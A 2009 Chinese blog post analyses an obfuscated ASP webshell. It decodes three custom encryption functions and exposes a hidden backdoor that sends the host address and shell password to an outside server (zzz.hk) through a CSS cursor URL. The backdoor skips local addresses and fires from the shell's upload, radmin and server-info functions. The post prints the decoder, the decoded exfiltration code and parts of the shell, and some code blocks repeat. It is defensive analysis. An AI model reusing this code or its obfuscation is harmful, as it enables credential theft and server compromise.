雨夜孤魂webshell的解密及后门简要分析
作者:admin 日期:2009-10-23
这个shell和前面发的haker webshell界面应当是一样的,但是前面那个可能文件有点问题,有些功能没有显示出来,现在发的这个应当较为全面些。
上图


解密同样先脱掉vbscript.encode的“壳”。
之后看下他的自定义加密。
总共有3个加密方式,他们的解密函数如下
1,
程序代码Function MorfiCoder(Code):MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf):End Function
2,
程序代码Function MorfiCoder1(password,MorfiCode):Dim MIN_Morfi,MAX_Morfi,NUM_Morfi,offset,Str_len,i,code,To_TxT:MIN_Morfi=32:MAX_Morfi=126:NUM_Morfi=MAX_Morfi-MIN_Morfi+1:offset=password:Rnd -1:Randomize offset:MorfiCode=Replace(MorfiCode,"/*/",""""):Str_len=Len(MorfiCode):For i=1 To Str_len:Code=Asc(Mid(MorfiCode,i,1))
If Code>=MIN_Morfi And Code<=MAX_Morfi Then
Code=Code-MIN_Morfi:offset=Int((NUM_Morfi+1)*Rnd):Code=((Code-offset) Mod NUM_Morfi)
If Code<0 Then Code=Code+NUM_Morfi
Code=Code+MIN_Morfi:To_TxT=To_TxT&Chr(Code):MorfiCoder1=Replace(To_TxT,"\*\",vbCrlf)
Else:To_TxT=To_TxT&Chr(Code):MorfiCoder1=Replace(To_TxT,"\*\",vbCrlf):End If:Next:End Function
If Code>=MIN_Morfi And Code<=MAX_Morfi Then
Code=Code-MIN_Morfi:offset=Int((NUM_Morfi+1)*Rnd):Code=((Code-offset) Mod NUM_Morfi)
If Code<0 Then Code=Code+NUM_Morfi
Code=Code+MIN_Morfi:To_TxT=To_TxT&Chr(Code):MorfiCoder1=Replace(To_TxT,"\*\",vbCrlf)
Else:To_TxT=To_TxT&Chr(Code):MorfiCoder1=Replace(To_TxT,"\*\",vbCrlf):End If:Next:End Function
3,
程序代码Function UZSS(objstr):objstr=Replace(objstr,"`",""""):For i=1 To Len(objstr):If Mid(objstr, i, 1)<>"~" Then:NewStr=Mid(objstr,i,1)&NewStr:Else:NewStr=vbCrlf&NewStr:End If:Next:UZSS=NewStr:End Function
分别解密之,后面2个函数加密了后门,第二个函数专门用来加密了调用后门的代码。
解密后,后门地址代码
程序代码u=request.servervariables("http_host")&url
Acti0n=chr(104)&"tt"&chr(112)&":/"&chr(47)&"z"&chr(122)&"z"&chr(46)&"hk"&chr(47)&"i"&chr(47)&"?%75="&u&"&%70="&Userpwd&""
Acti0n=chr(104)&"tt"&chr(112)&":/"&chr(47)&"z"&chr(122)&"z"&chr(46)&"hk"&chr(47)&"i"&chr(47)&"?%75="&u&"&%70="&Userpwd&""
在本地调试下,地址为
Acti0n=http://zzz.hk/i/?%75=localhost/test.asp&%70=111
执行这个后门及检验是否在本地调试的代码被MorfiCoder1加密
程序代码execute MorfiCoder1(131399003244654987654541153465413246546576413246574867465412313,"\eAji^ E9SS>J>3=RoW(**%3O,Gu;HP@0X=ZHm1m;#%mc//0$xMefm8yuY=#f@e&@iVV-
FDPBsk]{JPlQYn|D'(P_T$uoWY2|/*/O(4.I_obr#e.MB|/^{>k{p^Y4&>~]Z<`d,B}zA%07}YWQ-dj&M0bw:j,N1}qgU{Sgg9[Yd4*+Q+hf7+(h|gIT{*oEew&h] i\ne0oHgQn;rG%W9t@{]3S)/*//v
{Frpkvz2[.8!hCnwH&p ")
FDPBsk]{JPlQYn|D'(P_T$uoWY2|/*/O(4.I_obr#e.MB|/^{>k{p^Y4&>~]Z<`d,B}zA%07}YWQ-dj&M0bw:j,N1}qgU{Sgg9[Yd4*+Q+hf7+(h|gIT{*oEew&h] i\ne0oHgQn;rG%W9t@{]3S)/*//v
{Frpkvz2[.8!hCnwH&p ")
解密后为
程序代码if instr(Request.ServerVariables("SERVER_NAME"),"127.0.0.1")<>0 then Acti0n=""
if instr(Request.ServerVariables("SERVER_NAME"),"192.168.")<>0 then Acti0n=""
if instr(Request.ServerVariables("SERVER_NAME"),"localhost")<>0 then Acti0n=""
if instr(Request.ServerVariables("SERVER_NAME"),"192.168.")<>0 then Acti0n=""
if instr(Request.ServerVariables("SERVER_NAME"),"localhost")<>0 then Acti0n=""
程序代码execute MorfiCoder1(131399003244654987654541153465413246546576413246574867465412313,"E/QuKL ;N#*p}/?<96^zPF4 Ck1c+u`?t^p7{XO0EdRF@4/&$&=")
解密后为
程序代码R00tPath="<DIV style=""CURSOR:url('"&Acti0n&"')"">"
结合上面的actin,那么这个后门基本上就成这样了
程序代码R00tPath="<DIV style=""CURSOR:url('http://zzz.hk/i/?%75=localhost/test.asp&%70=111')"">"
找下调用的地方
1,
程序代码Function radmin()
Set WSH= Server.CreateObject("WSCRIPT.SHELL")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
ParameterArray=WSH.REGREAD(RadminPath & Parameter )
if session("IDebugMode") <> "ok" then
Rrs""&R00tPath&"":session("IDebugMode")="ok"
end if
Set WSH= Server.CreateObject("WSCRIPT.SHELL")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
ParameterArray=WSH.REGREAD(RadminPath & Parameter )
if session("IDebugMode") <> "ok" then
Rrs""&R00tPath&"":session("IDebugMode")="ok"
end if
2,
程序代码Function UpFile()
dim strFileName
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" or F.FileSize=0 then
RW="<br>请输入上传的完全路径后选择一个文件上传!"
Else
F.SaveAs UName
If Err.number=0 Then
RW="<center><br><br><br>文件" & UName & "上传成功!</center>"
If session("IDebugMode") <> "ok" then
RRs""&R00tPath&"":session("IDebugMode")="ok"
End If
End if
End If
dim strFileName
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" or F.FileSize=0 then
RW="<br>请输入上传的完全路径后选择一个文件上传!"
Else
F.SaveAs UName
If Err.number=0 Then
RW="<center><br><br><br>文件" & UName & "上传成功!</center>"
If session("IDebugMode") <> "ok" then
RRs""&R00tPath&"":session("IDebugMode")="ok"
End If
End if
End If
3,
程序代码Function ServerInfo()
RW="<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
RW=RW & "<tr><td colspan='4' align='center' bgcolor='menu'>服务器概况 [组件信息]</td></tr>"
RW=RW & "<tr><td colspan='2'> 服务器地址:"&ServerNM&"(" & ServerIP & ":"&Request.ServerVariables("SERVER_PORT")&")</td>"
RW=RW & "<td colspan='2'> Server Time:"&now&" </td></tr>"
RW=RW & "<tr><td colspan='2'> CPU详情:"&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"</td>"
RW=RW & "<td colspan='2'> 环境变量:"&Request.ServerVariables.Count&"个 "
RW=RW & "<a href='?Action=showE' target='FileFrame'><font color='red'>[Request.ServerVariables 列表]</font></a></td></tr>"
RW=RW & "<tr><td colspan='2'> Server Os:"&Request.ServerVariables("OS")&"</td>"
RW=RW & "<td colspan='2'> IIS Server版本:"&Request.ServerVariables("SERVER_SOFTWARE")&"</td></tr></table>"
RW=RW & ""
RW=RW & "<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
If session("IDebugMode") <> "ok" then
Rrs""&R00tPath&"":session("IDebugMode")="ok"
End if
For i=0 To 14
RW="<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
RW=RW & "<tr><td colspan='4' align='center' bgcolor='menu'>服务器概况 [组件信息]</td></tr>"
RW=RW & "<tr><td colspan='2'> 服务器地址:"&ServerNM&"(" & ServerIP & ":"&Request.ServerVariables("SERVER_PORT")&")</td>"
RW=RW & "<td colspan='2'> Server Time:"&now&" </td></tr>"
RW=RW & "<tr><td colspan='2'> CPU详情:"&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"</td>"
RW=RW & "<td colspan='2'> 环境变量:"&Request.ServerVariables.Count&"个 "
RW=RW & "<a href='?Action=showE' target='FileFrame'><font color='red'>[Request.ServerVariables 列表]</font></a></td></tr>"
RW=RW & "<tr><td colspan='2'> Server Os:"&Request.ServerVariables("OS")&"</td>"
RW=RW & "<td colspan='2'> IIS Server版本:"&Request.ServerVariables("SERVER_SOFTWARE")&"</td></tr></table>"
RW=RW & ""
RW=RW & "<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
If session("IDebugMode") <> "ok" then
Rrs""&R00tPath&"":session("IDebugMode")="ok"
End if
For i=0 To 14
附件为密文,有兴趣的玩玩
点击下载此文件以下说明属本文之一部分:
转载请保持完整并注明:转自 金刀客[www.daokers.com]
[本日志由 金刀客 于 2009-12-23 10:06 AM 编辑]
评论: 2 | 引用: 0 | 查看次数: -
回复
]分析的不错, 这个是去了后门的, 去后门之前有万能密码 还有空间收信
admin 于 2009-11-17 08:30 PM 回复
可能是被人加的吧
又是雨夜孤魂的···
发表评论
上一篇
下一篇

相关日志:
文章来自: 




